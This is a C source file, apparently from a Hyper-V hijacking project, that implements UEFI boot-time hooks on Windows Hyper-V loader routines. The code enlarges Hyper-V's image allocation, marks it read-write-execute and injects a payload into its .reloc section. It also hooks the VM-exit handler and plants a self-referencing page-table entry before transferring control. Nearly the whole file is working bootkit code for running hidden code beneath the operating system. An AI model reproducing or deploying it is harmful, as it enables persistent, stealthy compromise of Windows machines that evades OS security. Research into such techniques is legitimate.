You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
265 lines
6.4 KiB
265 lines
6.4 KiB
#include "HvLoader.h"
|
|
|
|
SHITHOOK HvLoadImageHook;
|
|
SHITHOOK HvLoadImageBufferHook;
|
|
SHITHOOK HvLoadAllocImageHook;
|
|
SHITHOOK TransferControlShitHook;
|
|
|
|
BOOLEAN HvExtendedAllocation = FALSE;
|
|
BOOLEAN HvHookedHyperV = FALSE;
|
|
MAP_PHYSICAL MmMapPhysicalMemory;
|
|
|
|
EFI_STATUS EFIAPI HvBlImgLoadPEImageFromSourceBuffer
|
|
(
|
|
VOID* a1,
|
|
VOID* a2,
|
|
VOID* a3,
|
|
VOID* a4,
|
|
UINT64* ImageBase,
|
|
UINT32* ImageSize,
|
|
VOID* a7,
|
|
VOID* a8,
|
|
VOID* a9,
|
|
VOID* a10,
|
|
VOID* a11,
|
|
VOID* a12,
|
|
VOID* a13,
|
|
VOID* a14,
|
|
VOID* a15
|
|
)
|
|
{
|
|
// disable hook and call the original...
|
|
DisableShitHook(&HvLoadImageBufferHook);
|
|
EFI_STATUS Result = ((HV_LDR_LOAD_IMAGE_BUFFER)HvLoadImageBufferHook.Address)
|
|
(
|
|
a1,
|
|
a2,
|
|
a3,
|
|
a4,
|
|
ImageBase,
|
|
ImageSize,
|
|
a7,
|
|
a8,
|
|
a9,
|
|
a10,
|
|
a11,
|
|
a12,
|
|
a13,
|
|
a14,
|
|
a15
|
|
);
|
|
|
|
// keep hooking until we have extended hyper-v allocation and hooked into hyper-v...
|
|
if(!HvExtendedAllocation && !HvHookedHyperV)
|
|
EnableShitHook(&HvLoadImageBufferHook);
|
|
|
|
if (HvExtendedAllocation && !HvHookedHyperV)
|
|
{
|
|
HvHookedHyperV = TRUE;
|
|
EFI_IMAGE_DOS_HEADER* HypervDosHeader = *ImageBase;
|
|
if (HypervDosHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
|
|
return Result;
|
|
|
|
EFI_IMAGE_NT_HEADERS64* HypervNtHeader = (UINT64)HypervDosHeader + HypervDosHeader->e_lfanew;
|
|
if (HypervNtHeader->Signature != EFI_IMAGE_NT_SIGNATURE)
|
|
return Result;
|
|
|
|
EFI_IMAGE_SECTION_HEADER* pSection = ((UINT64)&HypervNtHeader->OptionalHeader) +
|
|
HypervNtHeader->FileHeader.SizeOfOptionalHeader;
|
|
|
|
for (UINT16 idx = 0; idx < HypervNtHeader->FileHeader.NumberOfSections; ++idx, ++pSection)
|
|
{
|
|
if (!AsciiStrCmp(&pSection->Name, ".reloc"))
|
|
{
|
|
VOYAGER_T VoyagerData;
|
|
|
|
//
|
|
// the payload's base address needs to be page aligned in
|
|
// order for the paging table sections to be page aligned...
|
|
//
|
|
UINT32 PageRemainder = (0x1000 - (((*ImageBase + pSection->VirtualAddress + pSection->Misc.VirtualSize) << 52) >> 52));
|
|
MakeVoyagerData
|
|
(
|
|
&VoyagerData,
|
|
*ImageBase,
|
|
*ImageSize,
|
|
*ImageBase + pSection->VirtualAddress + pSection->Misc.VirtualSize + PageRemainder,
|
|
PayLoadSize()
|
|
);
|
|
|
|
HookVmExit
|
|
(
|
|
VoyagerData.HypervModuleBase,
|
|
VoyagerData.HypervModuleSize,
|
|
MapModule(&VoyagerData, PayLoad)
|
|
);
|
|
|
|
// make the .reloc section RWX and increase the sections size...
|
|
pSection->Characteristics = SECTION_RWX;
|
|
pSection->Misc.VirtualSize += PayLoadSize();
|
|
}
|
|
}
|
|
|
|
// extend the size of the image in hyper-v's nt headers and LDR data entry...
|
|
// this is required, if this is not done, then hyper-v will simply not be loaded...
|
|
HypervNtHeader->OptionalHeader.SizeOfImage += PayLoadSize();
|
|
*ImageSize += PayLoadSize();
|
|
}
|
|
return Result;
|
|
}
|
|
|
|
EFI_STATUS EFIAPI HvBlImgLoadPEImageEx
|
|
(
|
|
VOID* DeviceId,
|
|
VOID* MemoryType,
|
|
CHAR16* Path,
|
|
UINT64* ImageBase,
|
|
UINT32* ImageSize,
|
|
VOID* Hash,
|
|
VOID* Flags,
|
|
VOID* a8,
|
|
VOID* a9,
|
|
VOID* a10,
|
|
VOID* a11,
|
|
VOID* a12,
|
|
VOID* a13
|
|
)
|
|
{
|
|
// disable shithook and call the original...
|
|
DisableShitHook(&HvLoadImageHook);
|
|
EFI_STATUS Result = ((HV_LDR_LOAD_IMAGE)HvLoadImageHook.Address)
|
|
(
|
|
DeviceId,
|
|
MemoryType,
|
|
Path,
|
|
ImageBase,
|
|
ImageSize,
|
|
Hash,
|
|
Flags,
|
|
a8,
|
|
a9,
|
|
a10,
|
|
a11,
|
|
a12,
|
|
a13
|
|
);
|
|
|
|
// keep hooking until we have extended hyper-v allocation and hooked into hyper-v...
|
|
if(!HvExtendedAllocation && !HvHookedHyperV)
|
|
EnableShitHook(&HvLoadImageHook);
|
|
|
|
if (HvExtendedAllocation && !HvHookedHyperV)
|
|
{
|
|
HvHookedHyperV = TRUE;
|
|
EFI_IMAGE_DOS_HEADER* HypervDosHeader = *ImageBase;
|
|
if (HypervDosHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
|
|
return Result;
|
|
|
|
EFI_IMAGE_NT_HEADERS64* HypervNtHeader = (UINT64)HypervDosHeader + HypervDosHeader->e_lfanew;
|
|
if (HypervNtHeader->Signature != EFI_IMAGE_NT_SIGNATURE)
|
|
return Result;
|
|
|
|
EFI_IMAGE_SECTION_HEADER* pSection = ((UINT64)&HypervNtHeader->OptionalHeader) +
|
|
HypervNtHeader->FileHeader.SizeOfOptionalHeader;
|
|
|
|
for (UINT16 idx = 0; idx < HypervNtHeader->FileHeader.NumberOfSections; ++idx, ++pSection)
|
|
{
|
|
if (!AsciiStrCmp(&pSection->Name, ".reloc"))
|
|
{
|
|
VOYAGER_T VoyagerData;
|
|
|
|
//
|
|
// the payload's base address needs to be page aligned in
|
|
// order for the paging table sections to be page aligned...
|
|
//
|
|
UINT32 PageRemainder = (0x1000 - (((*ImageBase + pSection->VirtualAddress + pSection->Misc.VirtualSize) << 52) >> 52));
|
|
MakeVoyagerData
|
|
(
|
|
&VoyagerData,
|
|
*ImageBase,
|
|
*ImageSize,
|
|
*ImageBase + pSection->VirtualAddress + pSection->Misc.VirtualSize + PageRemainder,
|
|
PayLoadSize()
|
|
);
|
|
|
|
HookVmExit
|
|
(
|
|
VoyagerData.HypervModuleBase,
|
|
VoyagerData.HypervModuleSize,
|
|
MapModule(&VoyagerData, PayLoad)
|
|
);
|
|
|
|
// make the .reloc section RWX and increase the sections size...
|
|
pSection->Characteristics = SECTION_RWX;
|
|
pSection->Misc.VirtualSize += PayLoadSize();
|
|
}
|
|
}
|
|
|
|
// extend the size of the image in hyper-v's nt headers and LDR data entry...
|
|
// this is required, if this is not done, then hyper-v will simply not be loaded...
|
|
HypervNtHeader->OptionalHeader.SizeOfImage += PayLoadSize();
|
|
*ImageSize += PayLoadSize();
|
|
}
|
|
return Result;
|
|
}
|
|
|
|
UINT64 EFIAPI HvBlImgAllocateImageBuffer
|
|
(
|
|
VOID** imageBuffer,
|
|
UINTN imageSize,
|
|
UINT32 memoryType,
|
|
UINT32 attributes,
|
|
VOID* unused,
|
|
UINT32 Value
|
|
)
|
|
{
|
|
if (imageSize >= HV_ALLOC_SIZE && !HvExtendedAllocation)
|
|
{
|
|
HvExtendedAllocation = TRUE;
|
|
imageSize += PayLoadSize();
|
|
|
|
// allocate the entire hyper-v module as rwx...
|
|
memoryType = BL_MEMORY_ATTRIBUTE_RWX;
|
|
}
|
|
|
|
// disable shithook and call the original function....
|
|
DisableShitHook(&HvLoadAllocImageHook);
|
|
UINT64 Result = ((ALLOCATE_IMAGE_BUFFER)HvLoadAllocImageHook.Address)
|
|
(
|
|
imageBuffer,
|
|
imageSize,
|
|
memoryType,
|
|
attributes,
|
|
unused,
|
|
Value
|
|
);
|
|
|
|
// continue shithooking this function until we have extended the allocation of hyper-v...
|
|
if(!HvExtendedAllocation)
|
|
EnableShitHook(&HvLoadAllocImageHook);
|
|
|
|
return Result;
|
|
}
|
|
|
|
VOID TransferToHyperV(UINT64 Pml4PhysicalAddress, VOID* Unknown, VOID* AssemblyStub, VOID* Unknown2)
|
|
{
|
|
PML4E_T SelfRefEntry;
|
|
PPML4E_T Pml4 = NULL;
|
|
MmMapPhysicalMemory(&Pml4, Pml4PhysicalAddress, 0x1000, NULL, NULL);
|
|
|
|
// setup self referencing paging table entry...
|
|
Pml4[255].Value = NULL;
|
|
Pml4[255].Present = TRUE;
|
|
Pml4[255].Pfn = Pml4PhysicalAddress >> 12;
|
|
Pml4[255].UserSuperVisor = FALSE;
|
|
Pml4[255].ReadWrite = TRUE;
|
|
|
|
DisableShitHook(&TransferControlShitHook);
|
|
((VOID(__fastcall*)(VOID*, VOID*, VOID*, VOID*))TransferControlShitHook.Address)
|
|
(
|
|
Pml4PhysicalAddress,
|
|
Unknown,
|
|
AssemblyStub,
|
|
Unknown2
|
|
);
|
|
} |